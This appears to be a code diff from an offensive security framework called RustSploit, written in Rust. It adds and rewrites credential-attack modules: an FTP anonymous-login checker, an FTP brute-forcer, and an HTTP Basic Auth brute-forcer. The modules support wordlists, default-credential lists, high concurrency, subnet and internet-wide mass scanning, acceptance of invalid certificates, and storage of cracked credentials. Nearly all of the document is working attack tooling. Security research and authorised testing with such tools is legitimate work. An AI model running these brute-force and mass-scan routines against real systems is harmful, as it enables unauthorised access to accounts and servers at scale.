"[VERBOSE] Sending USER anonymous / PASS anonymous ...".dimmed()
);
}
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
if result.is_ok() {
crate::mprintln!("{}", "[+] Anonymous login successful (FTP)".green().bold());
match ftp.list(None).await {
Ok(entries) => {
crate::mprintln!(
"{}",
"[+] LIST command successful - Read Access Confirmed".green()
);
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] LIST returned {} entries", entries.len())
.dimmed()
);
for entry in entries.iter().take(20) {
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
}
if entries.len() > 20 {
crate::mprintln!(
"{}",
format!(
"[VERBOSE] ... and {} more entries",
entries.len() - 20
)
.dimmed()
);
}
}
}
Err(e) => crate::mprintln!(
"{}",
format!("[-] Login worked but LIST failed: {}", e).yellow()
),
}
// Persist credential to framework credential store
let _ = crate::cred_store::store_credential(
domain,
21,
"ftp",
"anonymous",
"anonymous@",
crate::cred_store::CredType::Password,
"creds/generic/ftp_anonymous",
)
.await;
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
crate::mprintln!("{}", "[-] Anonymous login rejected (FTP)".yellow());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Server response: {}", e).dimmed()
);
}
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
crate::mprintln!(
"{}",
"[*] FTP server requires TLS — upgrading to FTPS...".cyan()
);
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] SSL required response: {}", e).dimmed()
);
}
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
Ok(Err(e)) => {
crate::mprintln!("{}", format!("[!] FTP connection error: {}", e).red());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Connection error details: {:?}", e).dimmed()
);
}
}
Err(_) => {
crate::mprintln!("{}", "[-] FTP connection timed out".yellow());
if verbose {
crate::mprintln!(
"{}",
format!(
"[VERBOSE] Timeout after {}s connecting to {}",
DEFAULT_TIMEOUT_SECS, addr
)
.dimmed()
);
}
}
}
// 2. Fallback to FTPS
crate::mprintln!("{}", "[*] Attempting FTPS connection...".cyan());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Initiating TLS connection to {}...", addr).dimmed()
);
}
// 2️⃣ Fallback to FTPS
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
if verbose {
crate::mprintln!(
"{}",
"[VERBOSE] FTPS TCP connection established, performing TLS upgrade...".dimmed()
);
}
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
@@ -73,13 +289,62 @@ pub async fn run(target: &str) -> Result<()> {
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
if verbose {
crate::mprintln!(
"{}",
"[VERBOSE] TLS handshake complete, sending anonymous credentials...".dimmed()
);
}
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
crate::mprintln!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
match ftps.list(None).await {
Ok(entries) => {
crate::mprintln!(
"{}",
"[+] LIST command successful - Read Access Confirmed".green()
);
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] LIST returned {} entries", entries.len()).dimmed()
);
for entry in entries.iter().take(20) {
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
}
if entries.len() > 20 {
crate::mprintln!(
"{}",
format!("[VERBOSE] ... and {} more entries", entries.len() - 20)
.dimmed()
);
}
}
}
Err(e) => crate::mprintln!(
"{}",
format!("[-] Login worked but LIST failed: {}", e).yellow()
),
}
// Persist credential to framework credential store
let _ = crate::cred_store::store_credential(
domain,
21,
"ftp",
"anonymous",
"anonymous@",
crate::cred_store::CredType::Password,
"creds/generic/ftp_anonymous",
)
.await;
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
crate::mprintln!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
if verbose {
crate::mprintln!("{}", format!("[VERBOSE] FTPS rejection: {}", e).dimmed());
}
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
+277 -301
View File
@@ -1,273 +1,329 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc,
net::IpAddr,
time::Duration,
};
use std::path::Path;
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
use futures::stream::{FuturesUnordered, StreamExt};
use tokio::time::{sleep, timeout};
/// Format IPv4 or IPv6 addresses with port
use crate::utils::{
cfg_prompt_default, cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_yes_no, cfg_prompt_output_file, load_lines, load_lines_uncapped, file_size,
STREAMING_THRESHOLD,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
parse_combo_mode, load_credential_file,
run_bruteforce_streaming, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "FTP Brute Force".to_string(),
description: "Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// FTP error classification for retry decisions.
#[derive(Debug, Clone, Copy)]
enum FtpErrorType {
AuthenticationFailed,
TlsRequired,
ConnectionLimitExceeded,
ConnectionFailed,
Unknown,
}
impl FtpErrorType {
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
if msg.contains("530") || msg_lower.contains("login incorrect")
|| (msg_lower.contains("user") && msg_lower.contains("cannot"))
|| (msg_lower.contains("password") && msg_lower.contains("incorrect"))
{
return Self::AuthenticationFailed;
}
if msg.contains("550 SSL") || msg_lower.contains("tls required")
|| msg_lower.contains("ssl connection required")
|| msg.contains("220 TLS go first")
|| msg_lower.contains("must use tls")
{
return Self::TlsRequired;
}
if msg.contains("421") || msg_lower.contains("too many")
|| msg_lower.contains("connection limit")
{
return Self::ConnectionLimitExceeded;
}
if msg_lower.contains("connection refused")
|| msg_lower.contains("no route to host")
|| msg_lower.contains("network unreachable")
|| msg_lower.contains("connection reset")
{
return Self::ConnectionFailed;
}
Self::Unknown
}
fn is_retryable(self) -> bool {
matches!(self, Self::ConnectionFailed | Self::Unknown)
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ FTP Brute Force Module ║".cyan());
crate::mprintln!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
/// Format IPv4 or IPv6 addresses with port for display.
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean_target, port)
format!("{}:{}", clean, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
display_banner();
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let users = std::sync::Arc::new(users);
let pass_lines = std::sync::Arc::new(pass_lines);
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
return run_mass_scan(target, MassScanConfig {
protocol_name: "FTP Bruteforce",
default_port: 21,
state_file: "ftp_brute_hose_state.log",
default_output: "ftp_brute_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, port: u16| {
let users = users.clone();
let pass_lines = pass_lines.clone();
async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let addr_str = format!("{}:{}", ip, port);
for user in users.iter() {
for pass in pass_lines.iter() {
match try_ftp_login(&addr_str, &ip.to_string(), user, pass, false).await {
Ok(true) => {
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
return Some(format!("{}\n", msg));
}
Ok(false) => {}
Err(e) => {
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return None;
}
}
}
}
}
None
}
}).await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "ftp",
jitter_ms: 50,
source_module: "creds/generic/ftp_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let addr = format!("{}:{}", ip, port);
match try_ftp_login(&addr, &ip.to_string(), &user, &pass, false).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let et = FtpErrorType::classify_error(&e.to_string());
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
}
}
}
}).await;
}
// --- Single Target Mode ---
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 500, 1, 10000).await? as usize;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
Some(cfg_prompt_output_file("output_file", "Output file", "ftp_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
crate::mprintln!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
}));
}
}
let passes = if file_size(&passwords_file) > STREAMING_THRESHOLD {
crate::mprintln!("{}", "[*] Large password file — will stream in batches".cyan());
Vec::new()
} else {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
}));
}
let p = load_lines_uncapped(&passwords_file)?;
if p.is_empty() {
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
}
crate::mprintln!("{}", format!("[*] Loaded {} passwords", p.len()).cyan());
p
};
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
let extra_combos = if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
load_credential_file(&cred_path)?
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Vec::new()
};
let combo_mode = parse_combo_mode(&combo_input);
let passwords_file_ref = passwords_file.clone();
// Capture verbose in the closure for try_ftp_login
let target_owned = target.to_string();
let try_login = move |t: String, p: u16, user: String, pass: String| {
let addr = format_addr(&t, p);
let verbose_flag = verbose;
async move {
match try_ftp_login(&addr, &t, &user, &pass, verbose_flag).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
let et = FtpErrorType::classify_error(&e.to_string());
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
}
}
}
};
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
let result = run_bruteforce_streaming(&BruteforceConfig {
target: target_owned,
port,
concurrency,
stop_on_success,
verbose,
delay_ms,
max_retries,
service_name: "ftp",
jitter_ms: 50,
source_module: "creds/generic/ftp_credcheck",
}, users, Some(&passwords_file_ref), passes, combo_mode, extra_combos, try_login).await?;
result.print_found();
if let Some(path) = save_path {
result.save_to_file(&path)?;
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
/// Try FTP login with FTPS fallback when TLS is required.
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt plain FTP
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
Ok(Ok(mut ftp)) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => return Ok(false),
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
FtpErrorType::ConnectionLimitExceeded => {
sleep(Duration::from_secs(1)).await;
return Err(anyhow!("Connection limit exceeded (421)"));
}
return Err(anyhow!("FTP login error: {}", msg));
_ => return Err(anyhow!("FTP login error: {}", msg)),
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Timeout")),
}
// 2️⃣ Only if needed, try FTPS
// FTPS fallback
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
}
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Err(anyhow!("FTPS Connect failed")),
};
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
@@ -275,107 +331,27 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
.danger_accept_invalid_hostnames(true),
);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
let domain = if target.starts_with('[') {
target.trim_start_matches('[').split(']').next().unwrap_or(target)
} else {
target.split(':').next().unwrap_or(target)
};
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
};
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
if let Err(e) = ftp_tls.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false)
} else {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
match FtpErrorType::classify_error(&e.to_string()) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => Err(anyhow!("FTPS Error: {}", e)),
}
}
}
}
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
@@ -0,0 +1,512 @@
use anyhow::{anyhow, Result};
use colored::*;
use std::io::Write;
use std::net::IpAddr;
use std::sync::Arc;
use std::time::Duration;
use crate::utils::{
load_lines, get_filename_in_current_dir, normalize_target,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_HTTP_PORT: u16 = 80;
const DEFAULT_HTTPS_PORT: u16 = 443;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "1234"),
("admin", "12345"),
("admin", "123456"),
("admin", ""),
("root", "root"),
("root", "password"),
("root", "toor"),
("root", ""),
("user", "user"),
("user", "password"),
("test", "test"),
("guest", "guest"),
("manager", "manager"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "HTTP Basic Auth Brute Force".to_string(),
description: "Brute-force HTTP Basic Authentication using username/password wordlists. \
Supports HTTPS with invalid certificate acceptance, default credential testing, \
combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum HttpErrorType {
AuthenticationFailed,
ConnectionRefused,
ConnectionTimeout,
TlsError,
Unknown,
}
impl HttpErrorType {
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("401") || lower.contains("403") || lower.contains("unauthorized") {
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("tls")
|| lower.contains("ssl")
|| lower.contains("certificate")
|| lower.contains("handshake")
{
Self::TlsError
} else {
Self::Unknown
}
}
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::TlsError => "TLS/SSL error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct HttpError {
error_type: HttpErrorType,
message: String,
}
impl std::fmt::Display for HttpError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for HttpError {}
impl HttpError {
fn from_string(msg: String) -> Self {
let error_type = HttpErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
// ============================================================================
// Module Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("\n{}", "=== HTTP Basic Auth Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
return run_mass_scan(target, MassScanConfig {
protocol_name: "HTTP-Basic",
default_port: if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT },
state_file: "http_basic_hose_state.log",
default_output: "http_basic_mass_results.txt",
default_concurrency: 200,
}, move |ip: IpAddr, port: u16| {
let url_path = url_path.clone();
async move {
// Quick TCP check
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let scheme = if use_https { "https" } else { "http" };
let base_url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
// First check if endpoint requires Basic auth (401 response)
let client = match reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()
{
Ok(c) => c,
Err(_) => return None,
};
match client.get(&base_url).send().await {
Ok(resp) if resp.status().as_u16() == 401 => {
// Basic auth required, try defaults
}
_ => return None, // No auth required or unreachable
}
let creds: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("root", "root"),
("admin", "1234"),
("admin", ""),
("root", ""),
];
for (user, pass) in creds {
match client
.get(&base_url)
.basic_auth(user, Some(pass))
.send()
.await
{
Ok(resp) if resp.status().as_u16() == 200 => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&ip.to_string(),
port,
"http-basic",
user,
pass,
crate::cred_store::CredType::Password,
"creds/generic/http_basic_credcheck",
).await;
